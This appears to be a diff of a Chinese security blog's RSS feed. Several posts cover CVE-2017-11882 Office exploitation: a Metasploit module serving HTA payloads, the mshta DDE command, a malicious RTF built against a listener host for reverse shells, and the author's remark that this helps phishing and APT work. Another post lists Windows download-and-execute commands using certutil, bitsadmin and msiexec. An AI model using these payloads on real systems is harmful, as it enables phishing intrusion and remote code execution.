+0000https://payloads.online/archivers/2017-11-22/1/<h2 id="0x00-前言">0x00 前言</h2> <p>此次攻击使用了小组师傅改写的CVE利用脚本,能够将内容自定义,大大增加了小鱼上钩的可能。</p> <h2 id="0x01-环境简介">0x01 环境简介</h2> <ul> @@ -3376,7 +6764,64 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">50 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">51 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">52 -</span></code></prCVE-2017-11882漏洞复现https://payloads.online/archivers/2017-11-21/1/Tue, 21 Nov 2017 00:00:00 +0000https://payloads.online/archivers/2017-11-21/1/<h2 id="0x00-前言">0x00 前言</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ruby" data-lang="ruby"><span style="display:flex;"><span><span style="color:#75715e">##</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e"># This module requires Metasploit: https://metasploit.com/download</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e"># Current source: https://github.com/rapid7/metasploit-framework</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">##</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">MetasploitModule</span> <span style="color:#f92672">&lt;</span> <span style="color:#66d9ef">Msf</span><span style="color:#f92672">::</span><span style="color:#66d9ef">Exploit</span><span style="color:#f92672">::</span><span style="color:#66d9ef">Remote</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">Rank</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">NormalRanking</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">include</span> <span style="color:#66d9ef">Msf</span><span style="color:#f92672">::</span><span style="color:#66d9ef">Exploit</span><span style="color:#f92672">::</span><span style="color:#66d9ef">Remote</span><span style="color:#f92672">::</span><span style="color:#66d9ef">HttpServer</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">initialize</span>(info <span style="color:#f92672">=</span> {}) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">super</span>(update_info(info, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;Name&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;Microsoft Office Payload Delivery&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;Description&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">%q{ +</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> This module generates an command to place within +</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> a word document, that when executed, will retrieve a HTA payload +</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> via HTTP from an web server. Currently have not figured out how +</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> to generate a doc. +</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> }</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;License&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">MSF_LICENSE</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;Arch&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">ARCH_X86</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;Platform&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;win&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;Targets&#39;</span> <span style="color:#f92672">=&gt;</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">[</span> +</span></span><span style="display:flex;"><span> <span style="color:#f92672">[</span><span style="color:#e6db74">&#39;Automatic&#39;</span>, {} <span style="color:#f92672">]</span>, +</span></span><span style="display:flex;"><span> <span style="color:#f92672">]</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;DefaultTarget&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#ae81ff">0</span>, +</span></span><span style="display:flex;"><span> )) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">end</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">on_request_uri</span>(cli, _request) +</span></span><span style="display:flex;"><span> print_status(<span style="color:#e6db74">&#34;Delivering payload&#34;</span>) +</span></span><span style="display:flex;"><span> p <span style="color:#f92672">=</span> regenerate_payload(cli) +</span></span><span style="display:flex;"><span> data <span style="color:#f92672">=</span> <span style="color:#66d9ef">Msf</span><span style="color:#f92672">::</span><span style="color:#66d9ef">Util</span><span style="color:#f92672">::</span><span style="color:#66d9ef">EXE</span><span style="color:#f92672">.</span>to_executable_fmt( +</span></span><span style="display:flex;"><span> framework, +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">ARCH_X86</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;win&#39;</span>, +</span></span><span style="display:flex;"><span> p<span style="color:#f92672">.</span>encoded, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;hta-psh&#39;</span>, +</span></span><span style="display:flex;"><span> { <span style="color:#e6db74">:arch</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">ARCH_X86</span>, <span style="color:#e6db74">:platform</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;win &#39;</span>} +</span></span><span style="display:flex;"><span> ) +</span></span><span style="display:flex;"><span> send_response(cli, data, <span style="color:#e6db74">&#39;Content-Type&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;application/hta&#39;</span>) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">end</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">primer</span> +</span></span><span style="display:flex;"><span> url <span style="color:#f92672">=</span> get_uri +</span></span><span style="display:flex;"><span> print_status(<span style="color:#e6db74">&#34;Place the following DDE in an MS document:&#34;</span>) +</span></span><span style="display:flex;"><span> print_line(<span style="color:#e6db74">&#34;mshta.exe </span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">#{</span>url<span style="color:#e6db74">}</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">&#34;</span>) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">end</span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">end</span> +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x02-配置环境">0x02 配置环境</h2> +<p>首先我要将<code>阿里云安全组</code>配置一下,预留两个端口:</p>CVE-2017-11882漏洞复现https://payloads.online/archivers/2017-11-21/1/Tue, 21 Nov 2017 00:00:00 +0000https://payloads.online/archivers/2017-11-21/1/<h2 id="0x00-前言">0x00 前言</h2> <p>参考backlion师傅的PDF,记录一下这个过程。</p> <p>2017年11月14日,微软发布了11月份的安全补丁更新,其中比较引人关注的莫过于悄然修复了潜伏17年之久的Office远程代码执行漏洞(CVE-2017-11882)。该漏洞为Office内存破坏漏洞,影响目前流行的所有Office版本。攻击者可以利用漏洞以当前登录的用户的身份执行任意命令。 由于漏洞影响面较广,漏洞披露后,金睛安全研究团队持续对漏洞相关攻击事件进行关注。11月19日,监控到了已有漏洞POC在网上流传,随即迅速对相关样本进行了分析。目前该样本全球仅微软杀毒可以检测。</p> @@ -3403,7 +6848,22 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </p> <p>将生成的hta文档放入WebServer根目录:http://192.168.3.106/evil.hta</p> -<p>我(Cobalt Strike)本地监听了一个8081端口,用来接收客户端的Shell</p>CTF - 美眉的手机号https://payloads.online/archivers/2017-11-14/1/Tue, 14 Nov 2017 00:00:00 +0000https://payloads.online/archivers/2017-11-14/1/<h2 id="0x00-前言">0x00 前言</h2> +<p>我(Cobalt Strike)本地监听了一个8081端口,用来接收客户端的Shell</p> +<h3 id="生成一个rtfdoc文档">生成一个rtf/doc文档</h3> +<p>github上已有生成脚本</p> +<p><code>webdav_exec_CVE-2017-11882.py</code> 地址: <a href="http://payloads.online/tools/cve-2017-11882/webdav_exec_CVE-2017-11882.py">http://payloads.online/tools/cve-2017-11882/webdav_exec_CVE-2017-11882.py</a></p> +<p>生成rtf文档:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>python webdav_exec_CVE-2017-11882.py -u http://192.168.3.106/evil.hta -e &#34;mshta http://192.168.3.106/evil.hta&#34; -o test.rtf +</span></span><span style="display:flex;"><span>!!! Completed !!! +</span></span></code></pre></td></tr></table> +</div> +</div><p>最后将test.rtf在目标机器上执行 <code>=_=||</code>,其实可以实战的,对于APT的帮助很大</p>CTF - 美眉的手机号https://payloads.online/archivers/2017-11-14/1/Tue, 14 Nov 2017 00:00:00 +0000https://payloads.online/archivers/2017-11-14/1/<h2 id="0x00-前言">0x00 前言</h2> <p>十一月十一号,在北科大参加了一场CTF,也是第一次投身真正的比赛</p> <p>个人感觉,CTF并不是一种学习方式,但是绝对可以考验你的技术深度,这次去北京,确实感受到了那种极客精神,不管题目难或易,都有可圈可点之处,我将他们看作一道道关卡,将自己掌握的知识不断融合,去开辟新的思路,我很享受这个过程,其中,主要做了两道比较深刻的题目,在这里拿出来与大家分享,由于当时场地不允许连接外网,不能查阅资料,更获取不到服务器上的题目源代码,我只能回忆题目中的逻辑,通过PHP将它实现,略有改动。</p> <p>我自己还原的源代码可以在这里看到:<code>https://github.com/Rvn0xsy/ctf_get_phone</code></p> @@ -3467,7 +6927,46 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">33 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">34 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">35 -</span></code></prsocat 使用手册https://payloads.online/tools/socat/Thu, 09 Nov 2017 00:00:00 +0000https://payloads.online/tools/socat/<h2 id="socat简介">socat简介</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#a6e22e">$</span>(<span style="color:#e6db74">&#34;#register&#34;</span>).<span style="color:#a6e22e">bind</span>(<span style="color:#e6db74">&#39;click&#39;</span>,<span style="color:#66d9ef">function</span>(){ +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">usernameObj</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">$</span>(<span style="color:#e6db74">&#34;#username&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">passwordObj</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">$</span>(<span style="color:#e6db74">&#34;#password&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">phoneObj</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">$</span>(<span style="color:#e6db74">&#34;#phone&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">usernameVal</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">usernameObj</span>.<span style="color:#a6e22e">val</span>(); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">passwordVal</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">passwordObj</span>.<span style="color:#a6e22e">val</span>(); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">phoneVal</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">phoneObj</span>.<span style="color:#a6e22e">val</span>(); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">usernameVal</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;&#34;</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">usernameVal</span>.<span style="color:#a6e22e">length</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">4</span>){ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">alert</span>(<span style="color:#e6db74">&#34;Username is empty or short!&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">passwordVal</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;&#34;</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">passwordVal</span>.<span style="color:#a6e22e">length</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">4</span>){ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">alert</span>(<span style="color:#e6db74">&#34;Password is empty or short!&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">phoneVal</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;&#34;</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">phoneVal</span>.<span style="color:#a6e22e">length</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">11</span>){ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">alert</span>(<span style="color:#e6db74">&#34;Phone is empty or short!&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">$</span>.<span style="color:#a6e22e">post</span>(<span style="color:#e6db74">&#34;/ctf/api.php?method=register&#34;</span>,{ +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#34;username&#34;</span><span style="color:#f92672">:</span><span style="color:#a6e22e">usernameVal</span>,<span style="color:#e6db74">&#34;password&#34;</span><span style="color:#f92672">:</span><span style="color:#a6e22e">passwordVal</span>,<span style="color:#e6db74">&#34;phone&#34;</span><span style="color:#f92672">:</span><span style="color:#a6e22e">phoneVal</span> +</span></span><span style="display:flex;"><span> },<span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">data</span>,<span style="color:#a6e22e">status</span>){ +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">obj</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">jQuery</span>.<span style="color:#a6e22e">parseJSON</span>(<span style="color:#a6e22e">data</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">log</span>(<span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">status</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">status</span>){ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">alert</span>(<span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">data</span>); +</span></span><span style="display:flex;"><span> window.<span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;/ctf/index.php&#39;</span>; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">true</span>; +</span></span><span style="display:flex;"><span> }<span style="color:#66d9ef">else</span>{ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">alert</span>(<span style="color:#e6db74">&#34;Error :&#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">data</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> }) +</span></span><span style="display:flex;"><span> }); +</span></span></code></pre></td></tr></table> +</div> +</div><p>上面是绑定的点击事件,提交到<code>/ctf/api.php?method=register</code></p>socat 使用手册https://payloads.online/tools/socat/Thu, 09 Nov 2017 00:00:00 +0000https://payloads.online/tools/socat/<h2 id="socat简介">socat简介</h2> <p>socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版,socat的官方网站:http://www.dest-unreach.org/socat/ 。</p> <p>Socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、socket(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。</p> <p>Socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。多个选项可用于调整socat和其渠道,Socat可以作为TCP中继(一次性或守护进程),作为一个守护进程基于socksifier,作为一个shell Unix套接字接口,作为IP6的继电器,或面向TCP的程序重定向到一个串行线。</p> @@ -3492,7 +6991,39 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 -</span></code></prWindows下命令行下载文件总结https://payloads.online/archivers/2017-11-08/1/Wed, 08 Nov 2017 00:00:00 +0000https://payloads.online/archivers/2017-11-08/1/<h2 id="0x00-powershell">0x00 Powershell</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>./configure +</span></span><span style="display:flex;"><span>make +</span></span><span style="display:flex;"><span>make install +</span></span></code></pre></td></tr></table> +</div> +</div><p>具体的细节可以参考安装文档 README 。</p> +<h3 id="安装错误解决">安装错误解决</h3> +<p>在编译的过程中可能遇到如下错误:</p> +<p>解决方法有两种:</p> +<ul> +<li>第一种是禁用fips,使用如下命令配置:</li> +</ul> +<p><code>./configure --disable-fips</code></p> +<ul> +<li>第二种是安装fips</li> +</ul> +<p>首先到网站http://www.openssl.org/source/ 下载openssl-fips安装包,然后解压安装:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>./config +</span></span><span style="display:flex;"><span>make +</span></span><span style="display:flex;"><span>make install +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="socat的使用">socat的使用</h2> +<p>socat的具体文档参见网站:http://www.dest-unreach.org/socat/doc/socat.html 。</p>Windows下命令行下载文件总结https://payloads.online/archivers/2017-11-08/1/Wed, 08 Nov 2017 00:00:00 +0000https://payloads.online/archivers/2017-11-08/1/<h2 id="0x00-powershell">0x00 Powershell</h2> <p>win2003、winXP不支持</p> <p>$client = new-object System.Net.WebClient</p> <p>$client.DownloadFile(&lsquo;<a href="http://payloads.online/file.tar.gz'">http://payloads.online/file.tar.gz'</a>, &lsquo;E:\file.tar.gz&rsquo;)</p> @@ -3508,7 +7039,16 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <p>可以参考:http://www.163164.com/jiqiao/163164com011.htm</p> <h2 id="0x03-certutil">0x03 Certutil</h2> <p>可以参考:https://technet.microsoft.com/zh-cn/library/cc773087(WS.10).aspx</p> -<p>应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2</p>Tomcat 开启 https支持https://payloads.online/archivers/2017-08-21/1/Mon, 21 Aug 2017 00:00:00 +0000https://payloads.online/archivers/2017-08-21/1/<h2 id="0x00-配置keystore">0x00 配置keystore</h2> +<p>应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2</p> +<p>certutil.exe -urlcache -split -f http://192.168.3.1/test.txt file.txt</p> +<h2 id="0x04-bitsadmin">0x04 bitsadmin</h2> +<p>可以参考:https://msdn.microsoft.com/en-us/library/aa362813(v=vs.85).aspx</p> +<ul> +<li>1、<code>bitsadmin /rawreturn /transfer getfile http://192.168.3.1/test.txt E:\file\test.txt</code></li> +<li>2、<code>bitsadmin /rawreturn /transfer getpayload http://192.168.3.1/test.txt E:\file\test.txt</code></li> +</ul> +<h2 id="0x05-msiexec">0x05 msiexec</h2> +<p>msiexec /q /i http://192.168.3.1/test.txt</p>Tomcat 开启 https支持https://payloads.online/archivers/2017-08-21/1/Mon, 21 Aug 2017 00:00:00 +0000https://payloads.online/archivers/2017-08-21/1/<h2 id="0x00-配置keystore">0x00 配置keystore</h2> <p>要使用ssl connector,必须先创建一个keystore。他包含了服务器中被客户端用于验证服务器的数字证书。一旦客户端接受了这个证书,客户端就可以使用public key去加密他们要发送的数据。而服务器,拥有一个private key,作为唯一解密数据的密钥。</p> <p>进入JDK环境的bin目录,调用keytool来完成我们的证书生成:</p> <p><code>keytool -genkey -alias tomcat -keyalg RSA</code></p> @@ -3535,7 +7075,20 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">9 -</span></code></pr记一次某Cms的审计https://payloads.online/archivers/2017-08-18/1/Fri, 18 Aug 2017 00:00:00 +0000https://payloads.online/archivers/2017-08-18/1/<h2 id="0x00-前言">0x00 前言</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#75715e">&lt;!-- +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> &lt;Connector port=&#34;8443&#34; protocol=&#34;HTTP/1.1&#34; SSLEnabled=&#34;true&#34; +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> maxThreads=&#34;150&#34; scheme=&#34;https&#34; secure=&#34;true&#34; +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> clientAuth=&#34;false&#34; sslProtocol=&#34;TLS&#34; /&gt; +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> --&gt;</span> +</span></span></code></pre></td></tr></table> +</div> +</div><p>改成:</p>记一次某Cms的审计https://payloads.online/archivers/2017-08-18/1/Fri, 18 Aug 2017 00:00:00 +0000https://payloads.online/archivers/2017-08-18/1/<h2 id="0x00-前言">0x00 前言</h2> <p>此套cms采用了CI框架,之前在做漏洞平台的时候也是用的这个框架开发。</p> <p>CodeIgniter 是一个小巧但功能强大的 PHP 框架,作为一个简单而“优雅”的工具包,它可以为开发者们建立功能完善的 Web 应用程序。</p> <p>文章写的比较急,以后再补充……</p> @@ -3573,7 +7126,44 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">27 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">28 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">29 -</span></code></prNmap扩展开发https://payloads.online/archivers/2017-08-07/1/Mon, 07 Aug 2017 00:00:00 +0000https://payloads.online/archivers/2017-08-07/1/<h2 id="0x00-资产扫描汇总实时监控">0x00 资产扫描、汇总、实时监控</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">defined</span>(<span style="color:#e6db74">&#39;BASEPATH&#39;</span>)) <span style="color:#66d9ef">exit</span>(<span style="color:#e6db74">&#39;No direct script access allowed&#39;</span>); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>$active_group <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;default&#39;</span>; +</span></span><span style="display:flex;"><span>$query_builder <span style="color:#f92672">=</span> <span style="color:#66d9ef">TRUE</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>$db[<span style="color:#e6db74">&#39;default&#39;</span>] <span style="color:#f92672">=</span> <span style="color:#66d9ef">array</span>( +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;dsn&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;hostname&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;localhost&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;username&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;root&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;password&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;root&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;port&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;3306&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;database&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;xxxxx&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;dbdriver&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;mysqli&#39;</span>, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;dbprefix&#39;</span> 